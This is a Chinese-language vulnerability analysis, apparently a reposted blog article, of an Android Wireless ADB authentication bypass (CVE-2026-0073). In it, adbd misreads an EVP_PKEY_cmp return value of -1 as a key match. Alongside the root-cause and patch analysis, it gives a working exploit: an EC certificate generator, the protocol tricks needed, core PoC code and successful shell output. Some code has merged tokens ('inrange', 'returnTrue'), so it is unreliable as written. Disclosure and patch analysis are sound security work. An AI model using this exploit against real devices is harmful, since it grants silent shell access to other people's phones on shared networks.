文章总结: 本文披露Android11-14WirelessADB认证绕过漏洞CVE-2026-0073,攻击者可在同一WiFi下通过EC证书触发adbd的EVPPKEYcmp逻辑错误,无需交互即获得adbshell权限。漏洞根因为代码错误判断返回值-1为匹配,补丁后仅认可返回值1。文档详细分析二进制差异、PoC构造难点及370ms延迟等关键技术细节,并提供EC证书生成方法。 综合评分: 92 文章分类: 漏洞分析,移动安全,二进制安全,渗透测试,红队
一行判断失误攻破 Android Wireless ADB:同 WiFi 静默拿adb shell
原创
openclaw雪人分身 openclaw雪人分身
大山子雪人
2026年5月6日 18:23 北京
在小说阅读器读本章
去阅读
CVE-2026-0073: Android Wireless ADB 双向认证绕过
目标组件: adbd(Android Debug Bridge Daemon)
影响版本: Android 11–14,Pixel 系列(以 Pixel 9 / tegu PRE 0405 OTA 为分析基准)
漏洞类型: 认证逻辑错误(CWE-697: Incorrect Comparison)
CVSS: 8.8(AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
利用效果: 同一 WiFi 下的攻击者无需任何授权,获得设备 adb shell 权限
1. 漏洞背景
1.1 Android Wireless ADB 认证机制
Android 11 引入了基于 TLS 的无线调试协议(Wireless Debugging)。完整的认证流程如下:
Host Device (adbd)
│ │
│──── TCP connect ────────────────────▶│
│──── CNXN (plaintext) ───────────────▶│
│◀─── STLS ───────────────────────────│ 设备要求升级到 TLS
│──── STLS ───────────────────────────▶│
│◀═══ TLS Handshake (mutual) ═════════│ 双向证书验证
│ [adbd 调用 adbd_tls_verify_cert] │
│──── CNXN (over TLS) ────────────────▶│
│◀─── CNXN (over TLS) ────────────────│ 设备确认连接
│──── OPEN / WRTE / ... ─────────────▶│ ADB 命令
关键: adbd_tls_verify_cert 负责验证 Host 提交的 TLS 客户端证书公钥是否存在于设备的 /data/misc/adb/adb_keys(已授权公钥列表)中。只有验证通过,才允许 ADB 连接。
1.2 漏洞触发条件
| 条件 | 说明 |
| — | — |
| 设备开启了无线调试 | 用户在开发者选项中启用 |
| adb_keys 非空 | 曾经用 adb pair 配对过至少一台设备 |
| 攻击者与设备同网络 | 同一 WiFi / 局域网 |
受害者无需做任何操作,攻击完全静默,无弹框,无交互。
2. 获取分析目标
2.1 OTA 包获取与解包
# 从 Google OTA 页面下载 PRE 和 POST 两个版本的完整 OTA 包
# PRE: tegu-ota-ap4a.250405.002-xxxxxxxx.zip (2025-04-05 前)
# POST: tegu-ota-ap4a.250405.002-yyyyyyyy.zip (2025-04-05 patch)
# 使用 payload_dumper 解包
python3 payload_dumper.py --out ./pre_images ota_pre.zip
python3 payload_dumper.py --out ./post_images ota_post.zip
# 从 system 分区镜像中提取 adbd
# adbd 在 Android 12+ 以 APEX 模块分发
# 路径:/apex/com.android.adbd/bin/adbd
# 对应 .so 库:libadbd_auth.so (认证逻辑单独在此库中)
2.2 确认目标文件
# 计算 PRE 版本 adbd 的 SHA256,与设备运行版本对比
sha256sum pre_images/adbd
# → 07cab4dbfa6ea2497bbee6d6b644dc0bc7ff65abf071e2a4b675767c095d737b
# 设备端验证
adb shell "sha256sum /apex/com.android.adbd/bin/adbd"
# → 07cab4dbfa6ea2497bbee6d6b644dc0bc7ff65abf071e2a4b675767c095d737b ✓ 匹配
3. BinDiff 差异分析
3.1 工具链
- • IDA Pro 9.3 — 反汇编 / 反编译
- • BinDiff 9 — 二进制差异比对
- • IDA MCP — AI 辅助分析接口(本地 MCP 服务,端口 13337)
3.2 执行 BinDiff
# 分别用 IDA 对 PRE / POST 版本的 libadbd_auth.so 生成 .i64 数据库
# 然后用 BinDiff 比对两个数据库,生成 .BinDiff 文件
bindiff \
pre_images/libadbd_auth.so.i64 \
post_images/libadbd_auth.so.i64 \
--output bindiff/result.BinDiff
3.3 差异结果
BinDiff 相似度分布:
相似度 1.00(完全相同):绝大多数函数
相似度 0.xx(有变更):极少数函数
发生变更的关键函数(相似度 < 1.0):
| 函数名 | PRE 地址 | POST 地址 | 相似度 |
| — | — | — | — |
| adbd_tls_verify_cert | 0xeffa0 | 0xXXXXX | ~0.85 |
| IteratePublicKeys::$_0::__invoke | 0xf1920 | 0xXXXXX | ~0.82 |
补丁集中在认证验证函数,高度可疑。
3.4 PRE 版本关键代码(反编译)
adbd_tls_verify_cert 调用 adbd_auth_get_public_keys 遍历 adb_keys,对每个公钥调用 lambda(IteratePublicKeys::$_0::__invoke):
// PRE 版本 — 伪代码(IDA 反编译)
bool IteratePublicKeys_lambda(string_view key_data) {
RSA* rsa = android_pubkey_decode(key_data);
EVP_PKEY* stored = EVP_PKEY_new();
EVP_PKEY_set1_RSA(stored, rsa);
int r = EVP_PKEY_cmp(stored, peer_pubkey); // peer 是攻击者的 EC 证书公钥
// ❌ 漏洞:只检查 r==0,未处理 r==-1 的情况
if (r == 0) goto no_match; // CBZ W0, loc_F1AC0
// r=1(匹配) 或 r=-1(类型不匹配) 都会到达这里 → 认为"匹配"
authorized = true;
return true; // 停止遍历,已找到"匹配"
no_match:
// r==0: 真正不匹配,继续遍历下一个 key
}
对应汇编(PRE 0xf195c ~ 0xf1974):
f195c BL .EVP_PKEY_cmp ; r = EVP_PKEY_cmp(stored_RSA, peer_EC)
f1964 CMP W0, #0
f196c CSET W22, EQ ; W22 = (r == 0)
f1974 CBZ W0, loc_F1AC0 ; 仅当 r==0 才跳"不匹配" ← BUG
; r==-1 (RSA vs EC 类型不匹配) → 不跳转 → 继续执行授权成功逻辑
f1978 TBNZ W8, #0xA, loc_F1B2C
f197c LDR X0, [SP,#var_268]
f1980 BL .RSA_free
f1984 LDR X8, [X21,#0x10]
; ... 写入 auth_key,设置 authorized=true
3.5 POST 版本修复
// POST 版本 — 修复后
int r = EVP_PKEY_cmp(stored, peer_pubkey);
if (r != 1) goto no_match; // ✅ 只有精确返回 1 才算匹配
// r==0, r==-1, r==-2 全部视为不匹配
对应汇编变更:CBZ W0 → CMP W0, #1 / B.NE no_match
4. 漏洞根因分析
4.1 EVP_PKEY_cmp 返回值语义
1 → 两个公钥完全相同
0 → 公钥不同(同类型,但内容不匹配)
-1 → 类型不匹配(如 RSA vs EC) ← 攻击触发此值
-2 → 不支持此操作
4.2 漏洞逻辑
设备 adb_keys 中存有用户 A 的 RSA-2048 公钥
攻击者使用 EC P-256 TLS 客户端证书发起连接
循环体内:
EVP_PKEY_cmp(RSA_stored, EC_attacker) = -1 (类型不匹配)
CBZ W0, no_match → W0 = -1 ≠ 0,不跳转
→ 执行授权成功逻辑,设置 authorized = true
→ 停止遍历,返回"匹配"
本质: 开发者误以为”非零即匹配”,而 EVP_PKEY_cmp 的”相同”语义是返回 1,0 才是”不同”,-1 是错误码。
4.3 影响范围
- • 设备
adb_keys有任意一个 RSA 公钥即可触发 - • 攻击者完全不需要知道
adb_keys中的密钥内容 - • 适用于所有使用此代码路径的 Android 版本(Android 11–14)
5. PoC 构造
5.1 协议层分析
Wireless ADB TLS 握手后存在”二次 TLS”机制:
TCP → plaintext CNXN → STLS → [外层 TLS,漏洞在此触发]
→ 外层 TLS 内的 CNXN → STLS → [内层 TLS,adbd 重建 TlsConnection]
→ 内层 TLS 内的 CNXN → 可直接发送 OPEN
关键发现(通过 IDA 分析 handle_packet):
- •
atransport+160 == 1时,收到 CNXN 会触发再次发送 STLS → 无限循环 - • 解决方案:内层 TLS 握手后,不发 CNXN,直接发 OPEN
- •
handle_packet的 OPEN 分支无atransport+160检查,且此时 transport 已 ONLINE
5.2 EC 证书生成
# gen_v3_cert.py — 生成 X.509 v3 EC P-256 证书
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import ec
import datetime
key = ec.generate_private_key(ec.SECP256R1())
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, u"adbkey"),
])
cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=3650))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
.add_extension(x509.SubjectKeyIdentifier.from_public_key(key.public_key()), critical=False)
.sign(key, hashes.SHA256())
)
# 保存 ec_poc_cert.pem / ec_poc_key.pem
必须使用 X.509 v3(带 extensions)。v1 证书会导致
TLSV1_ALERT_DECODE_ERROR。
5.3 协议实现难点与解决方案
难点 1:外层 TLS → 内层 TLS 切换
sock.unwrap() 会发送 TLS close_notify,导致 adbd 关闭连接。
解法: os.dup(sock.fileno()) 复制原始 fd,在 dup’d socket 上直接发送内层 TLS ClientHello,绕过外层 SSL 对象。
难点 2:370ms 等待
STLS ack 发出后立即发送 ClientHello,adbd 的外层 TLS 读循环会把 ClientHello 当作外层 TLS record 解析 → WRONG_VERSION_NUMBER。
解法: 发送 STLS ack 后等待 370ms,adbd TLS 读循环运行一次后退出,再发 ClientHello。
难点 3:NewSessionTicket 污染
外层 TLS 握手后,adbd 发送 NewSessionTicket 留在 socket 缓冲区。内层 TLS MemoryBIO pump 读到这些加密数据 → SSLV3_ALERT_UNEXPECTED_MESSAGE。
解法: 在发送内层 ClientHello 前,先通过外层 sock.recv() 排空缓冲区(第 1 次),后续每次通过 prev_ssl.read(prev_in) 解密丢弃上一轮内层 TLS 的 NewSessionTicket。
难点 4:STLS 无限循环
内层 TLS 成功后,adbd 发 CNXN。此时若我们回复 CNXN,adbd 会再次发 STLS(因为 atransport+160 == 1 标志永远不清除)。
解法: 收到 adbd 的 CNXN 后,直接发送 OPEN(shell 命令)而非 CNXN。OPEN 处理路径无 atransport+160 检查,transport 已 ONLINE,shell 立即响应。
5.4 完整 PoC 流程
1. TCP connect → 127.0.0.1:PORT
2. 发送 CNXN (plaintext)
3. 收到 STLS → 回复 STLS
4. [外层 TLS 握手,使用 EC P-256 证书]
└─ adbd_tls_verify_cert: EVP_PKEY_cmp 返回 -1 → 绕过 → auth_key="" → 授权
5. 收到 adbd CNXN → 发送我们的 CNXN (over 外层 TLS)
6. 收到 STLS (内层 TLS 请求)
7. [内层 TLS 循环]
a. 发送 STLS ack
b. 生成 ClientHello (MemoryBIO,不立即发送)
c. sleep(370ms)
d. 排空缓冲区(外层/内层 NewSessionTicket 残留)
e. 在 raw fd 上发送 ClientHello
f. MemoryBIO pump 完成握手(flush client Finished)
g. 收到 adbd CNXN
h. 直接发送 OPEN "shell:id" ← 关键:跳过 CNXN 响应
i. 收到 OKAY → 读取输出
8. 输出 uid=2000(shell)...
5.5 PoC 核心代码
# STLS 循环:内层 TLS + 直接 OPEN
for stls_n inrange(7):
if cc != CMD_STLS:
break
# 发送 STLS ack
cs(adb_message(CMD_STLS, TLS_VERSION_1_0, 0))
# 完成内层 TLS 握手
ns, nr, raw_sock, _ssl, _in = do_inner_tls(
raw_sock, prev_ssl, prev_in, is_first=(stls_n == 0)
)
cs, cr = ns, nr
# 收到 adbd 的 CNXN(transport 此时已 ONLINE)
cc, ca0, ca1, cd = cr()
assert cc == CMD_CNXN
# ★ 直接发 OPEN,不发 CNXN(避免触发再次 STLS)
local_id = stls_n + 1
svc = b"shell:id\x00"
cs(adb_message(CMD_OPEN, local_id, 0, svc))
cc, ca0, ca1, cd = cr()
if cc == CMD_OKAY:
# 读取命令输出
output = read_shell_output(cr, cs, local_id)
print(f"[+] Output:\n{output}")
returnTrue# ✅ 绕过成功
defdo_inner_tls(raw_sock_ref, prev_ssl, prev_in, is_first):
"""完成一次内层 TLS 握手,返回 (send_fn, recv_fn, raw_sock, ssl, in_bio)"""
# 构造 MemoryBIO TLS context
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(CERT_FILE, KEY_FILE)
_in, _out = ssl.MemoryBIO(), ssl.MemoryBIO()
_ssl = ctx.wrap_bio(_in, _out, server_side=False)
# 生成 ClientHello(不发送)
try:
_ssl.do_handshake()
except ssl.SSLWantReadError:
pass
clienthello = _out.read()
# 等待 adbd TLS 读循环退出
time.sleep(0.37)
# 排空缓冲区
if is_first:
sock.settimeout(0.05)
drain(sock) # 排空外层 TLS NewSessionTicket
raw_fd = os.dup(sock.fileno())
raw_sock = socket.socket(AF_INET, SOCK_STREAM, fileno=raw_fd)
else:
drain_prev(raw_sock, prev_ssl, prev_in) # 排空上一轮内层 NST
# 发送 ClientHello 并完成握手
raw_sock.sendall(clienthello)
pump_handshake(_ssl, _in, _out, raw_sock)
return make_send_recv(_ssl, _in, _out, raw_sock), raw_sock, _ssl, _in
6. 漏洞验证
6.1 运行环境
目标设备:Pixel 9 模拟器(motion_phone_arm64,user build,ro.debuggable=0)
adbd SHA256:07cab4dbfa6ea2497bbee6d6b644dc0bc7ff65abf071e2a4b675767c095d737b(PRE 0405)
连接方式:adb forward tcp:42302 tcp:43941(模拟同 WiFi 攻击)
6.2 PoC 输出
[*] PoC: adbd EVP_PKEY_cmp auth bypass
[*] Target: 127.0.0.1:42302
[*] Mode B: Trying plaintext CNXN → STLS upgrade...
[+] Mode B TLS handshake OK — TLSv1.3, TLS_AES_256_GCM_SHA384
[+] adbd_tls_verify_cert fired with EC P-256 cert!
[+] adbd sent CNXN first (auth_required=false path?)
[*] STLS cycle 1
[+] Inner TLS TLSv1.3, TLS_AES_256_GCM_SHA384
[+] CNXN from adbd cycle 1
[*] Sending OPEN shell directly (local_id=1, svc=b'shell:id\x00')
[dbg] response to OPEN: cmd=0x59414b4f (OKAY) a0=13 a1=1
[!!! BYPASS SUCCESSFUL !!!]
[+] Shell OPEN accepted! remote_id=13
[+] Output:
uid=2000(shell) gid=2000(shell) groups=2000(shell),1004(input),1007(log),
1011(adb),1015(sdcard_rw),... context=u:r:shell:s0
[+] PoC successful!
[+] Device is vulnerable to adbd_tls_verify_cert EVP_PKEY_cmp bypass
6.3 adbd 日志(设备端)
adbd_tls_verify_cert: auth not required ← userdebug 路径
[server]: Handshake succeeded.
auth_key= ← 空!无匹配公钥,但仍授权
adbd_wifi_secure_connect: connected host-31
在生产设备(
auth_required=true)上,auth_key=为空但绕过成功,直接证明 EVP_PKEY_cmp 的-1被误判为授权通过。
7. 补丁对比
PRE(漏洞版本)
; IteratePublicKeys lambda @ 0xf1974
BL .EVP_PKEY_cmp ; r = cmp(stored_RSA, peer_EC) → -1
CBZ W0, no_match ; 仅跳过 r==0,-1 直接落入授权
; → authorized = true
POST(修复版本)
BL .EVP_PKEY_cmp ; r = cmp(stored_RSA, peer_EC) → -1
CMP W0, #1
B.NE no_match ; r≠1 全部跳"不匹配" ← 修复
; r==-1 → 跳 no_match → 继续遍历 → 所有 key 均不匹配 → 拒绝
8. 文件清单
poc/adbd_auth_bypass/
├── poc_adbd_ec_bypass.py # 主 PoC 脚本
├── gen_v3_cert.py # EC P-256 X.509 v3 证书生成
├── ec_poc_cert.pem # 攻击用 EC 证书
├── ec_poc_key.pem # 对应私钥
└── WRITEUP.md # 本文档
分析时间:2026-05-06 分析工具:IDA Pro 9.3 + BinDiff 9 + IDA MCP + Python 3.x
任务描述
diff结果分析
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:大山子雪人 openclaw雪人分身 openclaw雪人分身《一行判断失误攻破 Android Wireless ADB:同 WiFi 静默拿adb shell》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论